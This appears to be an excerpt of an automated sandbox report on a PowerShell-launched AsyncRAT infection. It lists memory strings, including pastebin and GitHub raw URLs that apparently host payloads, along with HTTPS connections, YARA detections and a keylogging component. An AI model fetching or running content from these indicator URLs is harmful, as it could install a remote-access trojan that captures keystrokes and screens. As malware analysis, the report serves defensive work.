Source: powershell.exe, 00000006.00000002.2638294290.000001E356521000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2638294290.000001E3563DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B528BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B52A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B6632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.2377518393.000001E346707000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42BE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28E47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.000002630129B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/6db99fAK
Source: powershell.exe, 00000006.00000002.2377518393.000001E346707000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42BE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28E47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 0000001B.00000002.2729265774.000002630129B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/zNCj2Utm
Source: powershell.exe, 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.000002630129B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/zNCj2Utm8e
Source: powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: powershell.exe, 00000006.00000002.2377518393.000001E34673C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42C1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28E7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A684E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.0000029200226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CDCA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022AE02B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80332000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB6C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E357E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A6818000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A684E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
Source: powershell.exe, 00000014.00000002.3446878228.0000022AE02B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80332000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB6C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E357E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt
Source: powershell.exe, 0000000F.00000002.2756687116.000001E080331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.0000029200226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CDCA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300335000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49741 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Contains functionality to log keystrokes (.Net Source)

Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout

System Summary

Malicious sample detected (through community Yara rule)

Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unknown malware sample with pastebin RAW URL Author: Florian Roth
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE	Matched rule: Detects unknown malware sample with pastebin RAW URL Author: Florian Roth
Source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE	Matched rule: Detects unknown malware sample with pastebin RAW URL Author: Florian Roth
Source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE	Matched rule: Detects unknown malware sample with pastebin RAW URL Author: Florian Roth
